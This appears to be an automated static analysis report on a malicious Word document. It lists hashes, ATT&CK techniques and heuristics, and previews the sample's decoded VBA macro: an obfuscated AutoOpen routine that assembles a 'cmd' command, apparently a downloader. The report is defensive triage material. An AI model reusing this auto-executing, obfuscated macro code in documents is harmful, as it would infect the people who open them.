Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 970926dfba45666a…

MALICIOUS

Office (OLE)

161.0 KB Created: 2018-09-24 06:19:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 025f26017dc70b1b0a14d9900473e5f0 SHA-1: 543eb170ca0251f1168859e52da41a196fd5efec SHA-256: 970926dfba45666a0386f90da19a8c7b1d8e266fbb334de8b77442fe1faefca1
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The critical heuristic firing indicates a Shell() call within the VBA, suggesting the macro attempts to execute an external command. This is likely used to download and execute a second-stage payload, making the document a downloader. No specific family could be identified.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 122675 bytes
SHA-256: 86b7ac8e75af2c14fde0f3e708f1390d77a224e24bdfe088f8374d8e5b55fc4a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JVJMimjjFz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim jlivB(2)
jlivB(0) = Right(YdBzwuWa + HuiFchNLkWNVFGhWcJjEoDToOFUH + BMopFGDRU, 807) + MidB(KHvtXwoDqtYqq + twVrcGzUSksbSLptsMsViYSNYHnwzE + SzwTjLnC, 516, 751)
jlivB(1) = Left(kiEfhrIzA + TJtaMFUloiItppPhYquuUtDIQHvAKoMi + kawGCPjclOksc, 521) + MidB(jszEQhJw + sizEdQfZzwtsEWAHoYYbzFTiFZCRA + WEihlTMDiZ, 331, 907)
   Dim smCSL(1)
smCSL(0) = Mid(LKrtKKsBJA + SzwdGKhCumBoilSBWBIpizRp + JXzfQUDvJ, 928, 154) + Right(tRXpEjZZFtz + JHNdoUORWnWYJhTtsVPYLKMItr + ATKKvijHnPu, 546) + Right(TjWsCSaFTkuj + bMUtMsnCNloGLGcbmqjlBplDuAaQ + NfbvBPCwQSY, 124) + Mid(OzrJIFac + TEaosCniZIsfjZWbiauaZpuIRIG + lAbwpNDOiqhF, 381, 669)
   Dim iPaVYf(2)
iPaVYf(0) = Right(CzzJlazuht + iRVaDELbqBKUkXJcvazCjibhmDj + KfMQtzSTTW, 659) + Right(opBCpRlRM + PpsbWZXGJKzoGPcdHEBRtljjOSH + lbBEHqzuzbrEoA, 556) + MidB(oHJIpUNXzqq + oBDCDwFKnKKEnKkDnndzz + HnhIzGEpnpAmzj, 814, 292) + MidB(wzkjDKuFmC + CGNGpSdNDGPAVMRnYKfwrLakXNtUCT + uZqrYlGjurVfi, 955, 563)
iPaVYf(1) = MidB(FwBWHVuOh + tjEvYhRswjYmDwzquCZFwXaQnDvcqf + LnZHAjkWijJz, 457, 61) + Right(UfjPSdH + RioADiHzMsMRnCzFXQNdskHKzqUijBJjCwV + CzLKJmhdmQMGqK, 381) + Mid(HIvXHHrKjPdSrC + SKihZYFahNZHcqpKIpMiaUAdXDKvNdNYzp + iDVqthkiqZ, 758, 154) + Left(WJsPmNZvh + SLiORqAToGNjCKjwQCMAGEfkDit + wTbVFTZimo, 888)
   Dim zBjVWr(1)
zBjVWr(0) = Right(qZifBRRm + VKPnifiismiqDtIoAwGhkFdWfDLhMB + DWLXAnnw, 417) + Mid(ifmtdRpK + diiAICfhFhsqplccwHLWzvrtJhQW + zardWskI, 334, 321) + MidB(qowHBoucqHR + EQJVzoJqhtOtGDwnquoWwBjbcOU + jsRbbnRb, 477, 695) + MidB(hOCiqiDRWTOzNM + NhcNEGJFoXAYTPmwndsljQYlP + OOTwOrHvq, 529, 89)
   Dim JNbdHJ(1)
JNbdHJ(0) = MidB(UGLXKlF + uTnOQaodwMPdOttHWXbilszUKiJncpw + ZhsmnzJwUcFoS, 587, 46) + MidB(VoIpCWQFivoY + PSFTadloBchRPjsDHYuTJXKcjJDVXhpqWNL + whnjHkHWZlrh, 19, 856) + Left(bGvQAFi + JkZDKfsfwlWKrnDXLnWoVku + LlqCpZzAh, 366) + MidB(zCPuiiRP + vwHlTmvETYdUAHitmVmrQMlHunB + GwprvDFKEczzi, 417, 655)
   Dim PHCsDE(2)
PHCsDE(0) = MidB(FzfpUvs + UubWNIjaEXiSnihwOjhLBOIQnJt + zKGKUYCwW, 351, 974) + MidB(CnKzHWZPizmiaH + sQLbPAHjYMZTiNjiDLVFqWzRKUbuRzG + nFiBfiY, 916, 946)
PHCsDE(1) = MidB(qlDEXvimCPpE + wMzRIWXOMwYUqbSFZbZQWXVPUb + BTSiSbdpjNcZHf, 51, 718) + MidB(jJPmBIXv + mHDmawXArHJqbkAwzJqUkrchOSKLW + CcKpzIIBtlBt, 649, 609)
wzdICRcFOBd (KeyString(vbKeyC) + KeyString(vbKeyM) + kRbjwFiKbhU + SuhTcDwiq + TiFJfHJak + kbRNN + XljZBktu + JihwmpshF)
   Dim GzvjVW(1)
GzvjVW(0) = Left(jPMtKSHthljO + LitMuTHKPXzLoIzmEWnXAramDX + MlUlMpJbUiYzou, 985) + Left(khzbGvPYK + TjEmSZnZpDKccomznjSUSqwWFpEMCvo + amhPHZSPoWWwS, 181) + MidB(bncAMlwUDhjk + OoUAMLFUzSzEdcXmjmbMHaopNLZ + ZvIiiSzHfHoJ, 20, 159) + Left(sfvDwOSGbMa + sIZcSfiLtsjfwTTDjMVjdmjKc + SrZlmwOj, 669)
   Dim AAiTq(2)
AAiTq(0) = Left(wuCJRAnk + ArQuCszToODpwAXkBGLwl + OzQjIBX, 654) + Left(aNwIizdwu + EKHAPAQptiwzCjjMfHR + mZcSGhCrBzJo, 170)
AAiTq(1) = MidB(BHiqUvPwiizzQ + zmZYNpYzwqnwCUznKXdaQoXbzkJj + mzXPkSDd, 202, 643) + MidB(ISwKXDzdWrU + jqOaNnZFKCwwJhjvsmjEinNG + mvfLGAco, 59, 949) + MidB(YiItNauQ + dYTWDlknzjnzqXlqIEvBjNBwlZmM + zRGsjzqEP, 951, 265) + MidB(ntVbklLzLNX + BowNNUTizQtGKOrOOmODPzBaIQlDj + vBFCjtCsuwF, 663, 577)
   Dim SwmbUT(1)
SwmbUT(0) = MidB(mYFHsJXbwqiUFJ + cKtJUFWXpFutCRQsdMkjcPXSpAIUI + wKZIihBi, 354, 734) + Left(itYScbu + sdRuzmjXjlMhEHrjjiRuNOpZQhft + zGjHOjv, 409) + Left(BdoApRbtcNYk + EfINPqBrXGkzjUSlKTjaokzGmRAjNfw + YhFUkKGiPrqr, 466) + Right(NQupVFTdQjO + ZXRcjltDFwjdsYsJOOSwlJhdEEpk + kIsZNLmPXIRw, 109)
   Dim ukGVz(1)
ukGVz(0) = MidB(GajTwHpzPOZzsj + vDcrCKinDRJUiPWRntuMiaYsDY + dORLRXbuwwsPIq, 600, 588) + Right(DiFiOZBrzQdRaO + nvCXwzqtEVBiDvtLFVXuuKaaKQiWdSSCkb + DsLdtYW, 759) + MidB(jGVtZwtuKN + fcawXMllLSFRfiRnmRohYBksV + QvciMjDuAJCXK, 336, 84) + MidB(tNbnqZkHrvB + UPcWBGdmTwONikuiPUwIiBaWrX + BwOpnvnQwmoaO, 248, 506)
End Sub


Attribute VB_Name = "ANMfhMdVHtUajl"
Function 
... (truncated)

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